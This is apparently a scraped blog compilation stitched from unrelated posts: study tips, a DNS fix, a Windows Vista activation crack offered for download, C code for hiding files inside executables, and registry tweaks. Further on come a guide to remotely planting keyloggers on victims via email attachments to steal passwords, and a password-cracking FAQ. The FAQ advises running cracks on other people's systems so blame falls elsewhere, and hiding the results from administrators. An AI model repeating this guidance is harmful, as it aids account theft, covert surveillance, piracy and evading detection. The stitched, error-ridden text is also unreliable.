Health

1. Shake a leg. Lack of blood flow is a common reason for lack of concentration. If you've been sitting in one place for awhile, bounce one of your legs for a minute or two. It gets your blood flowing and sharpens both concentration and recall.
2. Food for thought: Eat breakfast. A lot of people skip breakfast, but creativity is often optimal in the early morning and it helps to have some protein in you to feed your brain. A lack of protein can actually cause headaches.
3. Food for thought, part 2: Eat a light lunch. Heavy lunches have a tendency to make people drowsy. While you could turn this to your advantage by taking a "thinking nap" (see #23), most people haven't learned how.
4. Cognitive enhancers: Ginkgo biloba. Ginkgo biloba is a natural supplement that has been used in China and other countries for centuries and has been reputed to reverse memory loss in rats. It's also suggested by some health practitioners as a nootrope and thus a memory enhancer.
5. Reduce stress + depresssion. Stress and depression may reduce the ability to recall information and thus inhibit learning. Sometimes, all you need to reduce depression is more white light and fewer refined foods.

Balance

6. Sleep on it. Dr. Maxwell Maltz wrote about in his book Psycho-Cybernetics about a man who was was paid good money to come up with ideas. He would lock his office door, close the blinds, turn off the lights. He'd focus on the problem at hand, then take a short nap on a couch. When he awoke, he usually had the problem solved.
7. Take a break. Change phyical or mental perspective to lighten the invisible stress that can sometimes occur when you sit in one place too long, focused on learning. Taking a 5-15 minute break every hour during study sessions is more beneficial than non-stop study. It gives your mind time to relax and absorb information. If you want to get really serious with breaks, try a 20 minute ultradian break as part of every 90 minute cycle. This includes a nap break, which is for a different purpose than #23.
8. Take a hike. Changing your perspective often relieves tension, thus freeing your creative mind. Taking a short walk around the neighborhood may help.
9. Change your focus. Sometimes there simply isn't enough time to take a long break. If so, change subject focus. Alternate between technical and non-technical subjects.

Perspective and Focus

10. Change your focus, part 2. There are three primary ways to learn: visual, kinesthetic, and auditory. If one isn't working for you, try another.
11. Do walking meditation. If you're taking a hike (#25), go one step further and learn walking meditation as a way to tap into your inner resources and your strengthen your ability to focus. Just make sure you're not walking inadvertently into traffic.
12. Focus and immerse yourself. Focus on whatever you're studying. Don't try to watch TV at the same time or worry yourself about other things. Anxiety does not make for absorption of information and ideas.
13. Turn out the lights. This is a way to focus, if you are not into meditating. Sit in the dark, block out extraneous influences. This is ideal for learning kinesthetically, such as guitar chord changes.
14. Take a bath or shower. Both activities loosen you up, making your mind more receptive to recognizing brilliant ideas.

Recall Techniques

15. Listen to music. Researchers have long shown that certain types of music are a great "key" for recalling memories. Information learned while listening to a particular song or collection can often be recalled simply by "playing" the songs mentally.
16. Speedread. Some people believe that speedreading causes you to miss vital information. The fact remains that efficient speedreading results in filtering out irrelevant information. If necessary, you can always read and re-read at slower speeds. Slow reading actually hinders the ability to absorb general ideas. (Although technical subjects often requirer slower reading.) If you're reading online, you can try the free Spreeder Web-based application.
17. Use acronyms and other mnemonic devices. Mnemonics are essentially tricks for remembering information. Some tricks are so effective that proper application will let you recall loads of mundane information years later.

Visual Aids

18. Every picture tells a story. Draw or sketch whatever it is you are trying to achieve. Having a concrete goal in mind helps you progress towards that goal.
19. Brainmap it. Need to plan something? Brain maps, or mind maps, offer a compact way to get both an overview of a project as well as easily add details. With mind maps, you can see the relationships between disparate ideas and they can also act as a receptacle for a brainstorming session.
20. Learn symbolism and semiotics. Semiotics is the study of signs and symbols. Having an understanding of the symbols of a particular discipline aids in learning, and also allows you to record information more efficiently.
21. Use information design. When you record information that has an inherent structure, applying information design helps convey that information more clearly. A great resource is Information Aesthetics, which gives examples of information design and links to their sources.
22. Use visual learning techniques. Try gliffy for structured diagrams. Also see Inspiration.com for an explanation of webs, idea maps, concept maps, and plots.
23. Map your task flow. Learning often requires gaining knowledge in a specific sequence. Organizing your thoughts on what needs to be done is a powerful way to prepare yourself to complete tasks or learn new topics.

Verbal and Auditory Techniques

24. Stimulate ideas. Play rhyming games, utter nonsense words. These loosen you up, making you more receptive to learning.
25. Brainstorm. This is a time-honored technique that combines verbal activity, writing, and collaboration. (One person can brainstorm, but it's more effective in a group.) It's fruitful if you remember some simple rules: Firstly, don't shut anyone's idea out. Secondly, don't "edit" in progress; just record all ideas first, then dissect them later. Participating in brainstorming helps assess what you already know about something, and what you didn't know.
26. Learn by osmosis. Got an iPod? Record a few of your own podcasts, upload them to your iPod and sleep on it. Literally. Put it under your pillow and playback language lessons or whatever.
27. Cognitive enhancers: binaural beats. Binaural beats involve playing two close frequencies simultaneously to produce alpha, beta, delta, and theta waves, all of which produce either sleeping, restfulness, relaxation, meditativeness, alertness, or concentration. Binaural beats are used in conjunction with other excercises for a type of super-learning.
28. Laugh. Laughing relaxes the body. A relaxed body is more receptive to new ideas.

Kinesthetic Techniques

29. Write, don't type. While typing your notes into the computer is great for posterity, writing by hand stimulates ideas. The simple act of holding and using a pen or pencil massages acupuncture points in the hand, which in turn stimulates ideas.
30. Carry a quality notebook at all times. Samuel Taylor Coleridge dreamed the words of the poem "In Xanadu (did Kubla Khan)...". Upon awakening, he wrote down what he could recall, but was distracted by a visitor and promptly forgot the rest of the poem. Forever. If you've been doing "walking meditation" or any kind of meditation or productive napping, ideas may suddenly come to you. Record them immediately.
31. Keep a journal. This isn't exactly the same as a notebook. Journaling has to do with tracking experiences over time. If you add in visual details, charts, brainmaps, etc., you have a much more creative way to keep tabs on what you are learning.
32. Organize. Use sticky colored tabs to divide up a notebook or journal. They are a great way to partition ideas for easy referral.
33. Use post-it notes. Post-it notes provide a helpful way to record your thoughts about passages in books without defacing them with ink or pencil marks.

Self-Motivation Techniques

34. Give yourself credit. Ideas are actually a dime a dozen. If you learn to focus your mind on what results you want to achieve, you'll recognize the good ideas. Your mind will become a filter for them, which will motivate you to learn more.
35. Motivate yourself. Why do you want to learn something? What do want to achieve through learning? If you don't know why you want to learn, then distractions will be far more enticing.
36. Set a goal. W. Clement Stone once said "Whatever the mind of man can conceive, it can achieve." It's an amazing phenomenon in goal achievement. Prepare yourself by whatever means necessary, and hurdles will seem surmountable. Anyone who has experienced this phenomenon understands its validity.
37. Think positive. There's no point in setting learning goals for yourself if you don't have any faith in your ability to learn.
38. Organize, part 2. Learning is only one facet of the average adult's daily life. You need to organize your time and tasks else you might find it difficult to fit time in for learning. Try Neptune for a browser-based application for "getting things done."
39. Every skill is learned. With the exception of bodily functions, every skill in life is learned. Generally speaking, if one person can learn something, so can you. It may take you more effort, but if you've set a believable goal, it's likely an achievable goal.
40. Prepare yourself for learning. Thinking positive isn't sufficient for successfully achieving goals. This is especially important if you are an adult, as you'll probably have many distractions surrounding your daily life. Implement ways to reduce distractions, at least for a few hours at a time, else learning will become a frustrating experience.
41. Prepare yourself, part 2. Human nature is such that not everyone in your life will be a well-wisher in your self-improvement and learning plans. They may intentionally or subconsciously distract you from your goal. If you have classes to attend after work, make sure that work colleagues know this, that you are unable to work late. Diplomacy works best if you think your boss is intentionally giving you work on the days he/she knows you have to leave. Reschedule lectures to a later time slot if possible/ necessary.
42. Constrain yourself. Most people need structure in their lives. Freedom is sometimes a scary thing. It's like chaos. But even chaos has order within. By constraining yourself — say giving yourself deadlines, limiting your time on an idea in some manner, or limiting the tools you are working with — you can often accomplish more in less time.

Supplemental Techniques

43. Read as much as you can. How much more obvious can it get? Use Spreeder (#33) if you have to. Get a breadth of topics as well as depth.
44. Cross-pollinate your interests. Neurons that connect to existing neurons give you new perspectives and abilities to use additional knowledge in new ways.
45. Learn another language. New perspectives give you the ability to cross-pollinate cultural concepts and come up with new ideas. As well, sometimes reading a book in its original language will provide you with insights lost in translation.
46. Learn how to learn. Management Help has a resource page, as does SIAST (Virtual Campus), which links to articles about learning methods. They are geared towards online learning, but no doubt you gain something from them for any type of learning. If you are serious about optimum learning, read Headrush's Crash course in learning theory.
47. Learn what you know and what you don't. Many people might say, "I'm dumb," or "I don't know anything about that." The fact is, many people are wholly unaware of what they already know about a topic. If you want to learn about a topic, you need to determine what you already know, figure out what you don't know, and then learn the latter.
48. Multi-task through background processes. Effective multi-tasking allows you to bootstrap limited time to accomplish several tasks. Learning can be bootstrapped through multi-tasking, too. By effective multitasking, I don't mean doing two or more things at exactly the same time. It's not possible. However, you can achieve the semblance of effective multitasking with the right approach, and by prepping your mind for it. For example, a successful freelance writer learns to manage several articles at the same time. Research the first essay, and then let the background processes of your mind takeover. Move on consciously to the second essay. While researching the second essay, the first one will often "write itself." Be prepared to record it when it "appears" to you.
49. Think holistically. Holistic thinking might be the single most "advanced" learning technique that would help students. But it's a mindset rather than a single technique.
50. Use the right type of repetition. Complex concepts often require revisting in order to be fully absorbed. Sometimes, for some people, it may actually take months or years. Repetition of concepts and theory with various concrete examples improves absorption and speeds up learning.
51. Apply the Quantum Learning (QL) model. The Quantum Learning model is being applied in some US schools and goes beyond typical education methods to engage students.
52. Get necessary tools. There are obviously all kinds of tools for learning. If you are learning online like a growing number of people these days, then consider your online tools. One of the best tools for online research is the Firefox web browser, which has loads of extensions (add-ons) with all manner of useful features. One is Googlepedia, which simultaneously displays Google search engine listings, when you search for a term, with related entries from Wikipedia.
53. Get necessary tools, part 2. This is a very niche tip, but if you want to learn fast-track methods for building software, read Getting Real from 37 Signals. The Web page version is free. The techniques in the book have been used to create Basecamp, Campfire, and Backpack web applications in a short time frame. Each of these applications support collaboration and organization.
54. Learn critical thinking. As Keegan-Michael Key's character on MadTV might say, critical thinking takes analysis to "a whole notha level". Read Wikipedia's discourse on critical thinking as a starting point. It involves good analytical skills to aid the ability to learn selectively.
55. Learn complex problem solving. For most people, life is a series of problems to be solved. Learning is part of the process. If you have a complex problem, you need to learn the art of complex problem solving. [The latter page has some incredible visual information.]

For Teachers, Tutors, and Parents

56. Be engaging. Lectures are one-sided and often counter-productive. Information merely heard or witnessed (from a chalkboard for instance) is often forgotten. Teaching is not simply talking. Talking isn't enough. Ask students questions, present scenarios, engage them.
57. Use information pyramids. Learning happens in layers. Build base knowledge upon which you can add advanced concepts.
58. Use video games. Video games get a bad rap because of certain violent games. But video games in general can often be an effective aid to learning.
59. Role play. Younger people often learn better by being part of a learning experience. For example, history is easier to absorb through reenactments.
60. Apply the 80/20 rule. This rule is often interpreted in dfferent ways. In this case, the 80/20 rule means that some concepts, say about 20% of a curriculum, require more effort and time, say about 80%, than others. So be prepared to expand on complex topics.
61. Tell stories. Venus Flytrap, a character from the sitcom WKRP in Cincinnati, once taught a student gang member about atoms, electrons, and protons by saying that an atom was one big neighborhood, and the protons and neutrons had their own smaller neighborhoods and never mixed. Just like rival gangs. The story worked, and understanding sparked in the students eyes.
62. Go beyond the public school curriculum. The public school system is woefully lacking in teaching advanced learning and brainstorming methods. It's not that the methods cannot be taught; they just aren't. To learn more, you have to pay a premium in additional time and effort, and sometimes money for commercially available learning tools. There's nothing wrong with that in itself, but what is taught in schools needs to be expanded. This article's author has proven that a nine-year old can learn (some) university level math, if the learning is approached correctly.
63. Use applied learning. If a high school student were having trouble in math, say with fractions, one example of applied learning might be photography, lenses, f-stops, etc. Another example is cooking and measurement of ingredients. Tailor the applied learning to the interest of the student.

For Students and Self-Studiers

64. Be engaged. Surprise. Sometimes students are bored because they know more than is being taught, maybe even more than a teacher. (Hopefully teachers will assess what each student already knows.) Students should discuss with a teacher if they feel that the material being covered is not challenging. Also consider asking for additional materials.
65. Teach yourself. Teachers cannot always change their curricula. If you're not being challenged, challenge yourself. Some countries still apply country-wide exams for all students. If your lecturer didn't cover a topic, you should learn it on your own. Don't wait for someone to teach you. Lectures are most effective when you've pre-introduced yourself to concepts.
66. Collaborate. If studying by yourself isn't working, maybe a study group will help.
67. Do unto others: teach something. The best way to learn something better is to teach it to someone else. It forces you to learn, if you are motivated enough to share your knowledge.
68. Write about it. An effective way to "teach" something is to create an FAQ or a wiki containing everything you know about a topic. Or blog about the topic. Doing so helps you to realize what you know and more importantly what you don't. You don't even have to spend money if you grab a freebie account with Typepad, Wordpress, or Blogger.
69. Learn by experience. Pretty obvious, right? It means put in the necessary time. An expert is often defined as someone who has put in 10,000 hours into some experience or endeavor. That's approximately 5 years of 40 hours per week, every week. Are you an expert without realizing it? If you're not, do you have the dedication to be an expert?
70. Quiz yourself. Testing what you've learned will reinforce the information. Flash cards are one of the best ways, and are not just for kids.
71. Learn the right things first. Learn the basics. Case in point: a frustrating way to learn a new language is to learn grammar and spelling and sentence constructs first. This is not the way a baby learns a language, and there's no reason why an adult or young adult has to start differently, despite "expert" opinion. Try for yourself and see the difference.
72. Plan your learning. If you have a long-term plan to learn something, then to quote Led Zeppelin, "There are two paths you can go by." You can take a haphazard approach to learning, or you can put in a bit of planning and find an optimum path. Plan your time and balance your learning and living.

Parting Advice

73. Persist. Don't give up learning in the face of intimdating tasks. Anything one human being can learn, most others can as well. Wasn't it Einstein that said, "Genius is 1% inspiration and 99% perspiration"? Thomas Edison said it, too.
74. Defy the experts. Dyslexia, in a nutshell, is the affliction of mentally jumbling letters and digits, causing difficulties in reading, writing and thus learning. Sometimes spoken words or numbers get mixed up as well. In the past, "experts" declared dyslexic children stupid. Later, they said they were incapable of learning. This author has interacted with and taught dyslexic teens. It's possible. Helen Keller had no experience of sight, sound, or speech, and yet she learned. Conclusion: There is more than one way to learn; never believe you cannot.
75. Challenge yourself. People are often more intelligent than they realize. In a world that compartmentalizes and categorizes everything, not everyone is sure where they fit in. And genius can be found in many walks of life. If you honestly suspect that there's more to you than has been "allowed" to be let out, try an IQ test such as the one offered by MENSA. It's unlike the standardized IQ tests given in many schools. You know the kind — the ones which traumatize many young students into thinking they are stupid, simply because the tests don't really assess all student's knowledge and learning ability. And the ability to learn is far, far more important than what you already know.
76. Party before an exam. Well, don't go that far. The key is to relax. The worse thing to do is cram the night before an exam. If you don't already know a subject by then, cramming isn't going to help. If you have studied, simply review the topic, then go do something pleasant (no more studying). Doing so tells your brain that you are prepared and that you will be able to recall anything that you have already learned. On the other hand, if you didn't spend the semester learning the ideas you need, you might as well go party anyways because cramming at the last minute isn't going to help much at that point.
77. Don't worry; learn happy. Have a real passion for learning and want to share that? Join a group such as the Joyful Jubilant Learning community [via LifeHack].

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222

208.67.220.220

Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features.After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

The fact that Microsoft has relaxed its antipiracy mechanism built into Windows Vista concomitantly with the release of Service Pack 1 failed to stop hackers from providing a crack for the latest version of Windows Genuine Advantage Validation.

Various reports point out that Genuine Advantage Validation and Notifications versions 1.7.69.1 (1.7.0069.1) and 1.7.69.2 released in March 2008, following the March 18 availability of Windows Vista SP1 through Windows Update and the Microsoft Download Center, have been cracked.

The workaround is designed to be integrated with pirated copies of Windows XP and Windows Vista in order to render useless the WGA Validation mechanism. According to the reports, applying the WGA crack will permit users of counterfeit versions of Windows to access and download items from Windows Update, Microsoft Download Center and Microsoft Update. The pirated operating systems with the cracked WGA will pass all validations on Microsoft’s websites and offer anything from updates to applications that are restricted to users of genuine operating systems only.

With the release of Windows Vista SP1, Microsoft has scrapped the Reduced Functionality Mode kill switch in its latest operating system. Users of pirated Vista, just as those of XP and Windows Server 2008 will only be informed of the fact that their operating system is no longer genuine. However, pirated versions of Windows are automatically blocked from downloading certain free applications as well as all updates except those labeled Critical. The WGA crack is designed to fix that.

“After the activation grace period has been exceeded the next logon will present the user with a message that directs the customer to activate that copy of Windows. That dialog includes a fifteen second delay before it can be dismissed. If they want to skip activation at that time they can wait for the fifteen seconds and choose “Activate Later” .

But the new story is different.That is Vista SP1 has been cracked successfully and it’s possible to bypass the Windows Genuine Advantage to fool the OS to beleive it as genuine.The release of Service Pack 1 for Vista seems to put no combat against piracy.This crack is available for download on this site.

MORE INFORMATION ON THE CRACK(ACTIVATOR)

VistaSP1_1-Click Activator

Unlike other cracks eg: Vista Loader 3.0.0.1(which has some known issues with the dual boot systems) this crack has been designed to work on dual boot systems.

This crack has incorporated an automated installation process which makes it easy to install.You can select from 4 OEM Logos and licenses during the installation process and within a few seconds your copy will be activated.You can see the system activated upon restart.

This crack also features an uninstallation process which most of the cracks lack the same.Using this, it is not necessary to carry out the manual uninstallation process.You can just uninstall the crack with a single click.

PLEASE FOLLOW THESE INSTRUCTIONS BEFORE APPLYING THIS CRACK.

1.YOU MUST HAVE FULL ADMINISTRATOR RIGHTS TO INSTALL THIS CRACK.

2.TURN OFF USER ACCOUNT CONTROL(UAC) BEFORE INSTALLING THIS CRACK.

3.THIS CRACK CURRENTLY HAS BEEN TESTED ONLY ON 32-BIT ULTIMATE EDITION OF WINDOWS VISTA.

4.EASY ONE CLICK ACTIVATOR.

5.YOU CAN ALSO USE THIS CRACK TO UNINSTALL THE ACTIVATOR.

ENJOY!!!

Here is the download link for the crack

DOWNLOAD

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Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project.So here i am presenting you with the source code of the FILE EMBEDDER UTILITY project.

This utility can be used to embed one file with in the other.ie:Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

Both the Embedding and extraction process has been presented in seperate functions for your convenience.here’s the code…..

#include
#include
#include
#include
#include
#include
#include

void embed(void);
void extract(void);

char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;

void main()
{
while(1)
{
clrscr();
puts(”\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(”1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ‘1′:embed();
getch();
break;
case ‘2′:
extract();
getch();
break;
default:
exit(0);
}
}
}

void embed()
{
puts(”\nEnter The Source Filename\n”);
scanf(”%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{
puts(”\nCannot Open The Source File\n”);
return;
}
puts(”\nEnter The Target Filename\n”);
scanf(”%s”,tname);
outh=open(tname,O_RDONLYO_BINARY);
if(outh==-1)
{
puts(”\nCannot Open The Target File\n”);
return;
}
printf(”\nReading The Source File Please Wait…\n”);
while((bytes=read(outh,buff,1))>0)
size+=bytes;
data=fopen(”Data.cfg”,”w”);
if(data==NULL)
{
puts(”\nCannot Create Configuration The File\n”);
return;
}
fprintf(data,”%lu”,size);
close(outh);
fclose(data);
target=fopen(tname,”rb”);
if(target==NULL)
{
puts(”Cannot Open Target File\n”);
return;
}
printf(”\nEmbedding Please Wait…\n”);
fseek(source,0,SEEK_END);
while(fread(buff,1,1,target)>0)
fwrite(buff,1,1,source);
fcloseall();
printf(”\nEmbedding Completed Successfully\n”);
}

void extract()
{
printf(”\nEnter The Source Filename\n”);
scanf(”%s”,sname);
source=fopen(sname,”rb”);
if(source==NULL)
{
printf(”\nCannot Open The Source File\n”);
return;
}
printf(”\nEnter The Target Filename(eg: abc.exe)\n”);
scanf(”%s”,tname);
printf(”\nEnter The Configuration Filename(eg: DATA.cfg)\n”);
scanf(”%s”,dname);
data=fopen(dname,”r”);
if(data==NULL)
{
printf(”\nConfiguration File Not Found\n”);
return;
}
fscanf(data,”%ld”,&psize);
target=fopen(tname,”wb”);
if(target==NULL)
{
puts(”\nCannot Open The Target File\n”);
return;
}
printf(”\nExtracting Please Wait…\n”);
fseek(source,-psize,SEEK_END);
while((fread(buff,1,1,source))>0)
fwrite(buff,1,1,target);
printf(”\nFile Extraction Completed Successfully\n”);
fcloseall();
}

One of the most frequently asked question is how to hack yahoo or how to hack an Email password.There are several programs known as keyloggers that can be used to hack yahoo or any other email password.Even though these softwares are not meant to hack yahoo or any other email passwords, they can still be used to hack yahoo passwords or passwords of any other email account.

If you are new to this site, then you should definitely consider reading my previous post Hacking an Email Account which exposes all the details of hacking email.

There are number of sites which provide information to hack yahoo, hotmail etc..So what’s special about this site? The only special about this site is that we do not bluff and mislead readers.We actually teach you how to track someone’s email password rather than telling some nosense tricks to crack or hack someone’s yahoo email password for money.

One thing I’ll make clear.There is no program that is particularly meant to hack yahoo, gmail or hotmail password.But it is still possible to sniff the password of the victim using tools like Keyloggers OR Remote administration tools.For more information on Keyloggers refer this post: Hacking An Email Account



I’ll not elaborate this post since I have already discussed about- How to hack an email account.So this post is an addon to my previous post.Here I am giving information on two new programs that can be used to hack yahoo or any other email password or any other information “REMOTELY”.You need not have physical access to the victim’s PC.So these two softwares are worth to try since it supports remote installation.The following are the two new programs…

1.Remote Logger

Remote Logger Features:

Remote Installation - lets you to create a customized Remote Logger engine file. You can send this file to your target for remote monitoring. Once installed successfully it’s possible to hack the password of the victim since whatever he/she types on the keyboard gets recorded.

2.SuperKeylogger

Superkeylogger features :

This program allows you to remotely install the monitoring system through an email attachment (no physical installation needed) without the user recognizing the installation at all.

These two softwares are none other than keyloggers but supports remote installation.Use these tools to hack password of victim without the need to have physical access to his/her computer.

Before leaving you should definitely consider reading my latest post Hacking Yahoo, Gmail or any other Password which covers the real ways of professional email hacking using Fake Login Pages

Also refer my new post on How To Hack An Email Using Hardware Keylogger? which is an addon to the current post that you are reading.

On a regular basis, people ask me questions about changing user information, the information you provided when you installed Windows. You can change it. Both of the following values are in the key

HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion

>>RegisteredOrganization.

The name of the organization (Change this to your desired organization)

>>RegisteredOwner. The name of the user (Change this to your desired name)

These changes are reflected in the system instantaneously and requies no reboot.You can confirm this by seeing the system properties(Right-Click on “My Computer” icon and select properties).

Both are REG_SZ values. Changing the registered organization and owner names doesn’t affect installed applications. However, applications that you install after changing these values are likely to pick up the new names.

 This tweak allows a program to be launched when the user logs onto the computer. It can be set to run minimized and there is no trace of the executable in the Startup folder on the Start Menu nor in the Documents and Settings folder accessible via Windows Explorer.

Click Start, click Run, and type regedit to run Regedit.Navigate to

HKEY_CURRENT_USER\Software\

Microsoft \Windows\CurrentVersion\Run



Modify/Create the Value Data Type(s) and Value Name(s) as given below:

Data Type: REG_SZ [String Value]

Value Name: [Enter the Name of Program Executable]

Value Data: [Enter the Path to the Program Executable]Exit Registry and Reboot

Although Google is a search engine,it’s also a website.It has millions of it’s own pages indexed in it.When i was digging deep inside Google i found some strange links inside it.So I decided to compile a list of strange Google links. Enjoy!

1.If you ever wondered all the misspellings of Britney Spears and their volume, you must check this out. http://www.google.com/jobs/britney.html

2.These two links are to fun Google games

http://www.google.com/Easter/feature_easter.html

http://www.google.com/heart/heart01.html

3.Quench your thirst for knowledge with Google Gulp

www.google.com/googlegulp/

4.Check out Google’s latest ideas

http://www.google.com/experimental/

5.If you are fond of puzzles

http://www.google.com/puzzles/

6.Tribute to Moms

http://www.google.com/moms01/

7.Google Mobile maps

http://www.google.com/mobile/gmm/index.html

8.http://www.google.com/tofc/

9.Are you scary smart?

http://www.google.com/scarysmart/

10.Google press center

http://www.google.com/press/

11.Google apps

http://www.google.com/a/help/intl/en/var_0.html

12Mind-racing problems.

http://www.google.com/indiacodejam/

13.Doodle 4 Google

http://www.google.com/doodle4google/

14.The virgle

http://www.google.com/virgle/

15.Google Alerts

http://www.google.com/alerts

16.Urchin Software from Google

http://www.google.com/urchin/

17.Google dictionary

http://www.google.com/translate_dict

18.Inside google

http://www.google.com/plex/

19.Movie reviews

http://www.google.com/reviews

20.GOOGLE MARS

http://www.google.com/mars/

21.GOOGLE SKY

http://www.google.com/sky/

22.Google’s next Coding Competition site

http://www.google.com/codejam/

23.http://www.google.com/pda

24.http://www.google.com/m

25.http://www.google.com/imode/

26.http://www.google.com/jsky

27.Blog search

http://www.google.com/blogsearch

28.Microsoft on google

http://www.google.com/microsoft

29.GOOGLE MOON

http://www.google.com/moon/

30.Google Linux

http://www.google.com/linux

30.http://www.google.com/ie

31.Google tour

http://www.google.com/tour/services/

32.Google TOS

http://www.google.com/accounts/TOS

33.Google trends

http://www.google.com/trends/hottrends

34.Google arts

http://www.google.com/Top/Arts/

35.Google 3d warehouse

http://www.google.com/sketchup/3dwh/

36.Google Adult content

http://www.google.com/Top/Adult/

37.Google & Dilbert Doodle

http://www.google.com/dilbert.html

38.Google in Kannada

www.google.com/intl/kn/

29.Google strange logos

http://www.google.com/doodle8.html

http://www.google.com/doodle9.html

30.Win Registry files in google

www.google.com/google_rsearch.reg

31.Google Universities Search

http://www.google.com/options/universities.html

Oops there’s still lot more.But only this much for now….

You can remove this worm by manual method, or using a removal tool.

1.Manual Method

Here are simple steps following which you can get the worm removed from your system:

1.Download this file:Registry_Repair.

2.Double click on that downloaded registry file, you will be asked weather you’re sure to add this to registry, click yes.

3.Restart your system.

4.Search for the file svhost32.exe and delete it if its found.

5.Search for the file svhost.exe and delete it if its found.

1. What are some password basics?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not “decrypt” the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here — NT, Netware, and Unix — all use an algorithm that has been made publically available and has been scrutinized to some degree.

To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

2. Why protect the hashes?



If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this — dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

3. What is a dictionary password cracker?



A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can “manipulate” each word in the wordlist by using filters. These rules/filters allow you to change “idiot” to “1d10t” and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.

If your dictionary cracker does not have manipulation rules, you can “pre-treat” the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4. What is a brute force password cracker?



A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

5. Which method is best for cracking?



It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let’s go through several scenarios.

If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program’s manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

6. What is a salt?



To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.

Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can’t be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

7. What are the dangers of cracking passwords?



The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else’s systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is — cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).

Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you’ll still be the first to be blamed whether the cracking software is yours or not!

Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.

8. Is there any way I can open a password-protected Microsoft Office document?



